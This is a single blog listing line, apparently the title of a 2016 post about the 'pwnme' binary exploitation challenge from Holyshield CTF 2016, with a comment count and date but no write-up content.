[Holyshield CTF_2016] pwnme(pwn) (0) | 2016.12.26 |